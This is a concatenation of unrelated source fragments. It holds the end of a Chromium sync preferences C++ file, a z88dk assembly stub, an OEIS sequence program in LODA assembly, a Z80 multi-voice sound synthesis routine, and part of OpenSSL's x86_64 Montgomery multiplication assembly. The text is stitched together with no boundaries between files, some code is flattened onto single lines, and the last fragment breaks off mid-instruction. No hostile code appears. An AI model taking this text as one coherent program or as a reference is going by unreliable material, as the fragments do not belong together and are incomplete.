(syncer::ModelTypeSet::Iterator i = registered_types.First(); i.Good(); i.Inc()) { SetDataTypePreferred(i.Get(), preferred_types.Has(i.Get())); } } bool SyncPrefs::IsManaged() const { DCHECK(CalledOnValidThread()); return pref_service_->GetBoolean(prefs::kSyncManaged); } std::string SyncPrefs::GetEncryptionBootstrapToken() const { DCHECK(CalledOnValidThread()); return pref_service_->GetString(prefs::kSyncEncryptionBootstrapToken); } void SyncPrefs::SetEncryptionBootstrapToken(const std::string& token) { DCHECK(CalledOnValidThread()); pref_service_->SetString(prefs::kSyncEncryptionBootstrapToken, token); } std::string SyncPrefs::GetKeystoreEncryptionBootstrapToken() const { DCHECK(CalledOnValidThread()); return pref_service_->GetString(prefs::kSyncKeystoreEncryptionBootstrapToken); } void SyncPrefs::SetKeystoreEncryptionBootstrapToken(const std::string& token) { DCHECK(CalledOnValidThread()); pref_service_->SetString(prefs::kSyncKeystoreEncryptionBootstrapToken, token); } std::string SyncPrefs::GetSyncSessionsGUID() const { DCHECK(CalledOnValidThread()); return pref_service_->GetString(prefs::kSyncSessionsGUID); } void SyncPrefs::SetSyncSessionsGUID(const std::string& guid) { DCHECK(CalledOnValidThread()); pref_service_->SetString(prefs::kSyncSessionsGUID, guid); } // static const char* SyncPrefs::GetPrefNameForDataType(syncer::ModelType data_type) { switch (data_type) { case syncer::BOOKMARKS: return prefs::kSyncBookmarks; case syncer::PASSWORDS: return prefs::kSyncPasswords; case syncer::PREFERENCES: return prefs::kSyncPreferences; case syncer::AUTOFILL: return prefs::kSyncAutofill; case syncer::AUTOFILL_PROFILE: return prefs::kSyncAutofillProfile; case syncer::AUTOFILL_WALLET_DATA: return prefs::kSyncAutofillWallet; case syncer::AUTOFILL_WALLET_METADATA: return prefs::kSyncAutofillWalletMetadata; case syncer::THEMES: return prefs::kSyncThemes; case syncer::TYPED_URLS: return prefs::kSyncTypedUrls; case syncer::EXTENSION_SETTINGS: return prefs::kSyncExtensionSettings; case syncer::EXTENSIONS: return prefs::kSyncExtensions; case syncer::APP_LIST: return prefs::kSyncAppList; case syncer::APP_SETTINGS: return prefs::kSyncAppSettings; case syncer::APPS: return prefs::kSyncApps; case syncer::SEARCH_ENGINES: return prefs::kSyncSearchEngines; case syncer::SESSIONS: return prefs::kSyncSessions; case syncer::APP_NOTIFICATIONS: return prefs::kSyncAppNotifications; case syncer::HISTORY_DELETE_DIRECTIVES: return prefs::kSyncHistoryDeleteDirectives; case syncer::SYNCED_NOTIFICATIONS: return prefs::kSyncSyncedNotifications; case syncer::SYNCED_NOTIFICATION_APP_INFO: return prefs::kSyncSyncedNotificationAppInfo; case syncer::DICTIONARY: return prefs::kSyncDictionary; case syncer::FAVICON_IMAGES: return prefs::kSyncFaviconImages; case syncer::FAVICON_TRACKING: return prefs::kSyncFaviconTracking; case syncer::SUPERVISED_USER_SETTINGS: return prefs::kSyncSupervisedUserSettings; case syncer::PROXY_TABS: return prefs::kSyncTabs; case syncer::PRIORITY_PREFERENCES: return prefs::kSyncPriorityPreferences; case syncer::SUPERVISED_USERS: return prefs::kSyncSupervisedUsers; case syncer::ARTICLES: return prefs::kSyncArticles; case syncer::SUPERVISED_USER_SHARED_SETTINGS: return prefs::kSyncSupervisedUserSharedSettings; case syncer::SUPERVISED_USER_WHITELISTS: return prefs::kSyncSupervisedUserWhitelists; case syncer::DEVICE_INFO: return prefs::kSyncDeviceInfo; case syncer::WIFI_CREDENTIALS: return prefs::kSyncWifiCredentials; default: break; } NOTREACHED() << "Type is " << data_type; return NULL; } #if defined(OS_CHROMEOS) std::string SyncPrefs::GetSpareBootstrapToken() const { DCHECK(CalledOnValidThread()); return pref_service_->GetString(prefs::kSyncSpareBootstrapToken); } void SyncPrefs::SetSpareBootstrapToken(const std::string& token) { DCHECK(CalledOnValidThread()); pref_service_->SetString(prefs::kSyncSpareBootstrapToken, token); } #endif void SyncPrefs::OnSyncManagedPrefChanged() { DCHECK(CalledOnValidThread()); FOR_EACH_OBSERVER(SyncPrefObserver, sync_pref_observers_, OnSyncManagedPrefChange(*pref_sync_managed_)); } void SyncPrefs::SetManagedForTest(bool is_managed) { DCHECK(CalledOnValidThread()); pref_service_->SetBoolean(prefs::kSyncManaged, is_managed); } void SyncPrefs::RegisterPrefGroups() { pref_groups_[syncer::APPS].Put(syncer::APP_NOTIFICATIONS); pref_groups_[syncer::APPS].Put(syncer::APP_SETTINGS); pref_groups_[syncer::APPS].Put(syncer::APP_LIST); pref_groups_[syncer::AUTOFILL].Put(syncer::AUTOFILL_PROFILE); pref_groups_[syncer::AUTOFILL].Put(syncer::AUTOFILL_WALLET_DATA); pref_groups_[syncer::AUTOFILL].Put(syncer::AUTOFILL_WALLET_METADATA); pref_groups_[syncer::EXTENSIONS].Put(syncer::EXTENSION_SETTINGS); pref_groups_[syncer::PREFERENCES].Put(syncer::DICTIONARY); pref_groups_[syncer::PREFERENCES].Put(syncer::PRIORITY_PREFERENCES); pref_groups_[syncer::PREFERENCES].Put(syncer::SEARCH_ENGINES); pref_groups_[syncer::TYPED_URLS].Put(syncer::HISTORY_DELETE_DIRECTIVES); pref_groups_[syncer::TYPED_URLS].Put(syncer::SESSIONS); pref_groups_[syncer::TYPED_URLS].Put(syncer::FAVICON_IMAGES); pref_groups_[syncer::TYPED_URLS].Put(syncer::FAVICON_TRACKING); pref_groups_[syncer::PROXY_TABS].Put(syncer::SESSIONS); pref_groups_[syncer::PROXY_TABS].Put(syncer::FAVICON_IMAGES); pref_groups_[syncer::PROXY_TABS].Put(syncer::FAVICON_TRACKING); // TODO(zea): put favicons in the bookmarks group as well once it handles // those favicons. } // static void SyncPrefs::RegisterDataTypePreferredPref( user_prefs::PrefRegistrySyncable* registry, syncer::ModelType type, bool is_preferred) { const char* pref_name = GetPrefNameForDataType(type); if (!pref_name) { NOTREACHED(); return; } registry->RegisterBooleanPref(pref_name, is_preferred); } bool SyncPrefs::GetDataTypePreferred(syncer::ModelType type) const { DCHECK(CalledOnValidThread()); const char* pref_name = GetPrefNameForDataType(type); if (!pref_name) { NOTREACHED(); return false; } // Device info is always enabled. if (pref_name == prefs::kSyncDeviceInfo) return true; if (type == syncer::PROXY_TABS && pref_service_->GetUserPrefValue(pref_name) == NULL && pref_service_->IsUserModifiablePreference(pref_name)) { // If there is no tab sync preference yet (i.e. newly enabled type), // default to the session sync preference value. pref_name = GetPrefNameForDataType(syncer::SESSIONS); } return pref_service_->GetBoolean(pref_name); } void SyncPrefs::SetDataTypePreferred(syncer::ModelType type, bool is_preferred) { DCHECK(CalledOnValidThread()); const char* pref_name = GetPrefNameForDataType(type); if (!pref_name) { NOTREACHED(); return; } // Device info is always preferred. if (type == syncer::DEVICE_INFO) return; pref_service_->SetBoolean(pref_name, is_preferred); } syncer::ModelTypeSet SyncPrefs::ResolvePrefGroups( syncer::ModelTypeSet registered_types, syncer::ModelTypeSet types) const { syncer::ModelTypeSet types_with_groups = types; for (PrefGroupsMap::const_iterator i = pref_groups_.begin(); i != pref_groups_.end(); ++i) { if (types.Has(i->first)) types_with_groups.PutAll(i->second); } types_with_groups.RetainAll(registered_types); return types_with_groups; } base::Time SyncPrefs::GetFirstSyncTime() const { return base::Time::FromInternalValue( pref_service_->GetInt64(prefs::kSyncFirstSyncTime)); } void SyncPrefs::SetFirstSyncTime(base::Time time) { pref_service_->SetInt64(prefs::kSyncFirstSyncTime, time.ToInternalValue()); } void SyncPrefs::ClearFirstSyncTime() { pref_service_->ClearPref(prefs::kSyncFirstSyncTime); } bool SyncPrefs::IsPassphrasePrompted() const { return pref_service_->GetBoolean(prefs::kSyncPassphrasePrompted); } void SyncPrefs::SetPassphrasePrompted(bool value) { pref_service_->SetBoolean(prefs::kSyncPassphrasePrompted, value); } int SyncPrefs::GetMemoryPressureWarningCount() const { return pref_service_->GetInteger(prefs::kSyncMemoryPressureWarningCount); } void SyncPrefs::SetMemoryPressureWarningCount(int value) { pref_service_->SetInteger(prefs::kSyncMemoryPressureWarningCount, value); } bool SyncPrefs::DidSyncShutdownCleanly() const { return pref_service_->GetBoolean(prefs::kSyncShutdownCleanly); } void SyncPrefs::SetCleanShutdown(bool value) { pref_service_->SetBoolean(prefs::kSyncShutdownCleanly, value); } void SyncPrefs::GetInvalidationVersions( std::map<syncer::ModelType, int64_t>* invalidation_versions) const { const base::DictionaryValue* invalidation_dictionary = pref_service_->GetDictionary(prefs::kSyncInvalidationVersions); syncer::ModelTypeSet protocol_types = syncer::ProtocolTypes(); for (auto iter = protocol_types.First(); iter.Good(); iter.Inc()) { std::string key = syncer::ModelTypeToString(iter.Get()); std::string version_str; if (!invalidation_dictionary->GetString(key, &version_str)) continue; int64_t version = 0; if (!base::StringToInt64(version_str, &version)) continue; (*invalidation_versions)[iter.Get()] = version; } } void SyncPrefs::UpdateInvalidationVersions( const std::map<syncer::ModelType, int64_t>& invalidation_versions) { std::unique_ptr<base::DictionaryValue> invalidation_dictionary( new base::DictionaryValue()); for (const auto& map_iter : invalidation_versions) { std::string version_str = base::Int64ToString(map_iter.second); invalidation_dictionary->SetString( syncer::ModelTypeToString(map_iter.first), version_str); } pref_service_->Set(prefs::kSyncInvalidationVersions, *invalidation_dictionary); } std::string SyncPrefs::GetLastRunVersion() const { return pref_service_->GetString(prefs::kSyncLastRunVersion); } void SyncPrefs::SetLastRunVersion(const std::string& current_version) { pref_service_->SetString(prefs::kSyncLastRunVersion, current_version); } void SyncPrefs::SetPassphraseEncryptionTransitionInProgress(bool value) { pref_service_->SetBoolean( prefs::kSyncPassphraseEncryptionTransitionInProgress, value); } bool SyncPrefs::GetPassphraseEncryptionTransitionInProgress() const { return pref_service_->GetBoolean( prefs::kSyncPassphraseEncryptionTransitionInProgress); } void SyncPrefs::SetSavedNigoriStateForPassphraseEncryptionTransition( const syncer::SyncEncryptionHandler::NigoriState& nigori_state) { std::string encoded; base::Base64Encode(nigori_state.nigori_specifics.SerializeAsString(), &encoded); pref_service_->SetString(prefs::kSyncNigoriStateForPassphraseTransition, encoded); } std::unique_ptr<syncer::SyncEncryptionHandler::NigoriState> SyncPrefs::GetSavedNigoriStateForPassphraseEncryptionTransition() const { const std::string encoded = pref_service_->GetString(prefs::kSyncNigoriStateForPassphraseTransition); std::string decoded; if (!base::Base64Decode(encoded, &decoded)) return std::unique_ptr<syncer::SyncEncryptionHandler::NigoriState>(); std::unique_ptr<syncer::SyncEncryptionHandler::NigoriState> result( new syncer::SyncEncryptionHandler::NigoriState()); if (!result->nigori_specifics.ParseFromString(decoded)) return std::unique_ptr<syncer::SyncEncryptionHandler::NigoriState>(); return result; } } // namespace sync_driver
SECTION code_fp_am9511 PUBLIC _sqr EXTERN cam32_sdcc_sqr defc _sqr = cam32_sdcc_sqr
; A174571: a(4n)=n, a(4n+1)=4, a(4n+2)=1, a(4n+3)=4. ; 0,4,1,4,1,4,1,4,2,4,1,4,3,4,1,4,4,4,1,4,5,4,1,4,6,4,1,4,7,4,1,4,8,4,1,4,9,4,1,4,10,4,1,4,11,4,1,4,12,4,1,4,13,4,1,4,14,4,1,4,15,4,1,4,16,4,1,4,17,4,1,4,18,4,1,4,19,4,1,4,20,4,1,4,21,4,1,4,22,4,1,4,23,4,1,4,24,4,1,4 mov $2,$0 seq $0,188134 ; a(4*n) = n, a(1+2*n) = 4+8*n, a(2+4*n) = 2+4*n. mov $3,$2 cmp $3,0 add $2,$3 dif $0,$2
; =============================================================== ; 2008 Stefano Bodrato ; =============================================================== ; ; void bit_synth(int dur, int freq_1, int freq_2, int freq_3, int freq_4) ; ; This is a sort of "quad sound" routine. It is based on four ; separate counters and a delay. Depending on the parameters ; being passed, it is able to play using two audible voices, ; to generate sound effects and to play with a single voice ; having odd waveforms. ; ; Unfortunately self-modifying code is used to store parameters. ; This routine shouldn't stay in contended memory locations !! ; ; =============================================================== INCLUDE "clib_target_cfg.asm" SECTION smc_clib SECTION smc_sound_bit PUBLIC asm_bit_synth EXTERN asm_bit_open, asm_bit_close asm_bit_synth: ; enter : a = duration ; h = frequency_1 (0 = disable voice) ; l = frequency_2 (0 = disable voice) ; d = frequency_3 (0 = disable voice) ; e = frequency_4 (0 = disable voice) ; ; uses : af, bc, de, hl, (bc' if port_16) ; write parameters into synth code ld c,__sound_bit_toggle duration: ld (LEN + 1),a fr1: ld a,h or a jr z, fr1_blank ld (FR_1 + 1),a ld a,c fr1_blank: ld (FR1_tick + 1),a fr2: ld a,l or a jr z, fr2_blank ld (FR_2 + 1),a ld a,c fr2_blank: ld (FR2_tick + 1),a fr3: ld a,d or a jr z, fr3_blank ld (FR_3 + 1),a ld a,c fr3_blank: ld (FR3_tick + 1),a fr4: ld a,e or a jr z, fr4_blank ld (FR_4 + 1),a ld a,c fr4_blank: ld (FR4_tick + 1),a ; begin synthesis IF __sound_bit_method = 2 exx ld bc,__sound_bit_port exx ENDIF call asm_bit_open ld h,1 ld l,h ld d,h ld e,h LEN: ld b,50 loop1: ld c,4 loop2: dec h jr nz, jump FR1_tick: xor __sound_bit_toggle INCLUDE "sound/bit/z80/output_bit_device_2.inc" FR_1: ld h,80 jump: dec l jr nz, jump2 FR2_tick: xor __sound_bit_toggle INCLUDE "sound/bit/z80/output_bit_device_2.inc" FR_2: ld l,81 jump2: dec d jr nz, jump3 FR3_tick: xor __sound_bit_toggle INCLUDE "sound/bit/z80/output_bit_device_2.inc" FR_3: ld d,162 jump3: dec e jr nz, loop2 FR4_tick: xor __sound_bit_toggle INCLUDE "sound/bit/z80/output_bit_device_2.inc" FR_4: ld e,163 dec c jr nz, loop2 djnz loop1 jp asm_bit_close
OPTION DOTNAME .text$ SEGMENT ALIGN(256) 'CODE' EXTERN OPENSSL_ia32cap_P:NEAR PUBLIC bn_mul_mont ALIGN 16 bn_mul_mont PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_bn_mul_mont:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] test r9d,3 jnz $L$mul_enter cmp r9d,8 jb $L$mul_enter cmp rdx,rsi jne $L$mul4x_enter test r9d,7 jz $L$sqr8x_enter jmp $L$mul4x_enter ALIGN 16 $L$mul_enter:: push rbx push rbp push r12 push r13 push r14 push r15 mov r9d,r9d lea r10,QWORD PTR[2+r9] mov r11,rsp neg r10 lea rsp,QWORD PTR[r10*8+rsp] and rsp,-1024 mov QWORD PTR[8+r9*8+rsp],r11 $L$mul_body:: mov r12,rdx mov r8,QWORD PTR[r8] mov rbx,QWORD PTR[r12] mov rax,QWORD PTR[rsi] xor r14,r14 xor r15,r15 mov rbp,r8 mul rbx mov r10,rax mov rax,QWORD PTR[rcx] imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD PTR[8+rsi] adc rdx,0 mov r13,rdx lea r15,QWORD PTR[1+r15] jmp $L$1st_enter ALIGN 16 $L$1st:: add r13,rax mov rax,QWORD PTR[r15*8+rsi] adc rdx,0 add r13,r11 mov r11,r10 adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],r13 mov r13,rdx $L$1st_enter:: mul rbx add r11,rax mov rax,QWORD PTR[r15*8+rcx] adc rdx,0 lea r15,QWORD PTR[1+r15] mov r10,rdx mul rbp cmp r15,r9 jne $L$1st add r13,rax mov rax,QWORD PTR[rsi] adc rdx,0 add r13,r11 adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],r13 mov r13,rdx mov r11,r10 xor rdx,rdx add r13,r11 adc rdx,0 mov QWORD PTR[((-8))+r9*8+rsp],r13 mov QWORD PTR[r9*8+rsp],rdx lea r14,QWORD PTR[1+r14] jmp $L$outer ALIGN 16 $L$outer:: mov rbx,QWORD PTR[r14*8+r12] xor r15,r15 mov rbp,r8 mov r10,QWORD PTR[rsp] mul rbx add r10,rax mov rax,QWORD PTR[rcx] adc rdx,0 imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD PTR[8+rsi] adc rdx,0 mov r10,QWORD PTR[8+rsp] mov r13,rdx lea r15,QWORD PTR[1+r15] jmp $L$inner_enter ALIGN 16 $L$inner:: add r13,rax mov rax,QWORD PTR[r15*8+rsi] adc rdx,0 add r13,r10 mov r10,QWORD PTR[r15*8+rsp] adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],r13 mov r13,rdx $L$inner_enter:: mul rbx add r11,rax mov rax,QWORD PTR[r15*8+rcx] adc rdx,0 add r10,r11 mov r11,rdx adc r11,0 lea r15,QWORD PTR[1+r15] mul rbp cmp r15,r9 jne $L$inner add r13,rax mov rax,QWORD PTR[rsi] adc rdx,0 add r13,r10 mov r10,QWORD PTR[r15*8+rsp] adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],r13 mov r13,rdx xor rdx,rdx add r13,r11 adc rdx,0 add r13,r10 adc rdx,0 mov QWORD PTR[((-8))+r9*8+rsp],r13 mov QWORD PTR[r9*8+rsp],rdx lea r14,QWORD PTR[1+r14] cmp r14,r9 jb $L$outer xor r14,r14 mov rax,QWORD PTR[rsp] lea rsi,QWORD PTR[rsp] mov r15,r9 jmp $L$sub ALIGN 16 $L$sub:: sbb rax,QWORD PTR[r14*8+rcx] mov QWORD PTR[r14*8+rdi],rax mov rax,QWORD PTR[8+r14*8+rsi] lea r14,QWORD PTR[1+r14] dec r15 jnz $L$sub sbb rax,0 xor r14,r14 and rsi,rax not rax mov rcx,rdi and rcx,rax mov r15,r9 or rsi,rcx ALIGN 16 $L$copy:: mov rax,QWORD PTR[r14*8+rsi] mov QWORD PTR[r14*8+rsp],r14 mov QWORD PTR[r14*8+rdi],rax lea r14,QWORD PTR[1+r14] sub r15,1 jnz $L$copy mov rsi,QWORD PTR[8+r9*8+rsp] mov rax,1 mov r15,QWORD PTR[rsi] mov r14,QWORD PTR[8+rsi] mov r13,QWORD PTR[16+rsi] mov r12,QWORD PTR[24+rsi] mov rbp,QWORD PTR[32+rsi] mov rbx,QWORD PTR[40+rsi] lea rsp,QWORD PTR[48+rsi] $L$mul_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_bn_mul_mont:: bn_mul_mont ENDP ALIGN 16 bn_mul4x_mont PROC PRIVATE mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_bn_mul4x_mont:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] $L$mul4x_enter:: push rbx push rbp push r12 push r13 push r14 push r15 mov r9d,r9d lea r10,QWORD PTR[4+r9] mov r11,rsp neg r10 lea rsp,QWORD PTR[r10*8+rsp] and rsp,-1024 mov QWORD PTR[8+r9*8+rsp],r11 $L$mul4x_body:: mov QWORD PTR[16+r9*8+rsp],rdi mov r12,rdx mov r8,QWORD PTR[r8] mov rbx,QWORD PTR[r12] mov rax,QWORD PTR[rsi] xor r14,r14 xor r15,r15 mov rbp,r8 mul rbx mov r10,rax mov rax,QWORD PTR[rcx] imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD PTR[8+rsi] adc rdx,0 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[8+rcx] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[16+rsi] adc rdx,0 add rdi,r11 lea r15,QWORD PTR[4+r15] adc rdx,0 mov QWORD PTR[rsp],rdi mov r13,rdx jmp $L$1st4x ALIGN 16 $L$1st4x:: mul rbx add r10,rax mov rax,QWORD PTR[((-16))+r15*8+rcx] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD PTR[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD PTR[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[((-8))+r15*8+rcx] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],rdi mov r13,rdx mul rbx add r10,rax mov rax,QWORD PTR[r15*8+rcx] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD PTR[8+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD PTR[((-8))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[8+r15*8+rcx] adc rdx,0 lea r15,QWORD PTR[4+r15] mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[((-16))+r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD PTR[((-32))+r15*8+rsp],rdi mov r13,rdx cmp r15,r9 jb $L$1st4x mul rbx add r10,rax mov rax,QWORD PTR[((-16))+r15*8+rcx] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD PTR[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD PTR[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[((-8))+r15*8+rcx] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],rdi mov r13,rdx xor rdi,rdi add r13,r10 adc rdi,0 mov QWORD PTR[((-8))+r15*8+rsp],r13 mov QWORD PTR[r15*8+rsp],rdi lea r14,QWORD PTR[1+r14] ALIGN 4 $L$outer4x:: mov rbx,QWORD PTR[r14*8+r12] xor r15,r15 mov r10,QWORD PTR[rsp] mov rbp,r8 mul rbx add r10,rax mov rax,QWORD PTR[rcx] adc rdx,0 imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD PTR[8+rsi] adc rdx,0 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[8+rcx] adc rdx,0 add r11,QWORD PTR[8+rsp] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[16+rsi] adc rdx,0 add rdi,r11 lea r15,QWORD PTR[4+r15] adc rdx,0 mov QWORD PTR[rsp],rdi mov r13,rdx jmp $L$inner4x ALIGN 16 $L$inner4x:: mul rbx add r10,rax mov rax,QWORD PTR[((-16))+r15*8+rcx] adc rdx,0 add r10,QWORD PTR[((-16))+r15*8+rsp] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD PTR[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD PTR[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[((-8))+r15*8+rcx] adc rdx,0 add r11,QWORD PTR[((-8))+r15*8+rsp] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],rdi mov r13,rdx mul rbx add r10,rax mov rax,QWORD PTR[r15*8+rcx] adc rdx,0 add r10,QWORD PTR[r15*8+rsp] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD PTR[8+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD PTR[((-8))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[8+r15*8+rcx] adc rdx,0 add r11,QWORD PTR[8+r15*8+rsp] adc rdx,0 lea r15,QWORD PTR[4+r15] mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[((-16))+r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD PTR[((-32))+r15*8+rsp],rdi mov r13,rdx cmp r15,r9 jb $L$inner4x mul rbx add r10,rax mov rax,QWORD PTR[((-16))+r15*8+rcx] adc rdx,0 add r10,QWORD PTR[((-16))+r15*8+rsp] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD PTR[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD PTR[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD PTR[((-8))+r15*8+rcx] adc rdx,0 add r11,QWORD PTR[((-8))+r15*8+rsp] adc rdx,0 lea r14,QWORD PTR[1+r14] mov r10,rdx mul rbp add rdi,rax mov rax,QWORD PTR[rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD PTR[((-16))+r15*8+rsp],rdi mov r13,rdx xor rdi,rdi add r13,r10 adc rdi,0 add r13,QWORD PTR[r9*8+rsp] adc rdi,0 mov QWORD PTR[((-8))+r15*8+rsp],r13 mov QWORD PTR[r15*8+rsp],rdi cmp r14,r9 jb $L$outer4x mov rdi,QWORD PTR[16+r9*8+rsp] mov rax,QWORD PTR[rsp] pxor xmm0,xmm0 mov rdx,QWORD PTR[8+rsp] shr r9,2 lea rsi,QWORD PTR[rsp] xor r14,r14 sub rax,QWORD PTR[rcx] mov rbx,QWORD PTR[16+rsi] mov rbp,QWORD PTR[24+rsi] sbb rdx,QWORD PTR[8+rcx] lea r15,QWORD PTR[((-1))+r9] jmp $L$sub4x ALIGN 16 $L$sub4x:: mov QWORD PTR[r14*8+rdi],rax mov QWORD PTR[8+r14*8+rdi],rdx sbb rbx,QWORD PTR[16+r14*8+rcx] mov rax,QWORD PTR[32+r14*8+rsi] mov rdx,QWORD PTR[40+r14*8+rsi] sbb rbp,QWORD PTR[24+r14*8+rcx] mov QWORD PTR[16+r14*8+rdi],rbx mov QWORD PTR[24+r14*8+rdi],rbp sbb rax,QWORD PTR[32+r14*8+rcx] mov rbx,QWORD PTR[48+r14*8+rsi] mov rbp,QWORD PTR[56+r14*8+rsi] sbb rdx,QWORD PTR[40+r14*8+rcx] lea r14,QWORD PTR[4+r14] dec r15 jnz $L$sub4x mov QWORD PTR[r14*8+rdi],rax mov rax,QWORD PTR[32+r14*8+rsi] sbb rbx,QWORD PTR[16+r14*8+rcx] mov QWORD PTR[8+r14*8+rdi],rdx sbb rbp,QWORD PTR[24+r14*8+rcx] mov QWORD PTR[16+r14*8+rdi],rbx sbb rax,0 mov QWORD PTR[24+r14*8+rdi],rbp xor r14,r14 and rsi,rax not rax mov rcx,rdi and rcx,rax lea r15,QWORD PTR[((-1))+r9] or rsi,rcx movdqu xmm1,XMMWORD PTR[rsi] movdqa XMMWORD PTR[rsp],xmm0 movdqu XMMWORD PTR[rdi],xmm1 jmp $L$copy4x ALIGN 16 $L$copy4x:: movdqu xmm2,XMMWORD PTR[16+r14*1+rsi] movdqu xmm1,XMMWORD PTR[32+r14*1+rsi] movdqa XMMWORD PTR[16+r14*1+rsp],xmm0 movdqu XMMWORD PTR[16+r14*1+rdi],xmm2 movdqa XMMWORD PTR[32+r14*1+rsp],xmm0 movdqu XMMWORD PTR[32+r14*1+rdi],xmm1 lea r14,QWORD PTR[32+r14] dec r15 jnz $L$copy4x shl r9,2 movdqu xmm2,XMMWORD PTR[16+r14*1+rsi] movdqa XMMWORD PTR[16+r14*1+rsp],xmm0 movdqu XMMWORD PTR[16+r14*1+rdi],xmm2 mov rsi,QWORD PTR[8+r9*8+rsp] mov rax,1 mov r15,QWORD PTR[rsi] mov r14,QWORD PTR[8+rsi] mov r13,QWORD PTR[16+rsi] mov r12,QWORD PTR[24+rsi] mov rbp,QWORD PTR[32+rsi] mov rbx,QWORD PTR[40+rsi] lea rsp,QWORD PTR[48+rsi] $L$mul4x_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_bn_mul4x_mont:: bn_mul4x_mont ENDP EXTERN bn_sqr8x_internal:NEAR ALIGN 32 bn_sqr8x_mont PROC PRIVATE mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_bn_sqr8x_mont:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] $L$sqr8x_enter:: mov rax,rsp push rbx push rbp push r12 push r13 push r14 push r15 mov r10d,r9d shl r9d,3 shl r10,3+2 neg r9 lea r11,QWORD PTR[((-64))+r9*4+rsp] mov r8,QWORD PTR[r8] sub r11,rsi and r11,4095 cmp r10,r11 jb $L$sqr8x_sp_alt sub rsp,r11 lea rsp,QWORD PTR[((-64))+r9*4+rsp] jmp $L$sqr8x_sp_done ALIGN 32 $L$sqr8x_sp_alt:: lea r10,QWORD PTR[((4096-64))+r9*4] lea rsp,QWORD PTR[((-64))+r9*4+rsp] sub r11,r10 mov r10,0 cmovc r11,r10 sub rsp,r11 $L$sqr8x_sp_done:: and rsp,-64 mov r10,r9 neg r9 lea r11,QWORD PTR[64+r9*2+rsp] mov QWORD PTR[32+rsp],r8 mov QWORD PTR[40+rsp],rax $L$sqr8x_body:: mov rbp,r9 DB 102,73,15,110,211 shr rbp,3+2 mov eax,DWORD PTR[((OPENSSL_ia32cap_P+8))] jmp $L$sqr8x_copy_n ALIGN 32 $L$sqr8x_copy_n:: movq xmm0,QWORD PTR[rcx] movq xmm1,QWORD PTR[8+rcx] movq xmm3,QWORD PTR[16+rcx] movq xmm4,QWORD PTR[24+rcx] lea rcx,QWORD PTR[32+rcx] movdqa XMMWORD PTR[r11],xmm0 movdqa XMMWORD PTR[16+r11],xmm1 movdqa XMMWORD PTR[32+r11],xmm3 movdqa XMMWORD PTR[48+r11],xmm4 lea r11,QWORD PTR[64+r11] dec 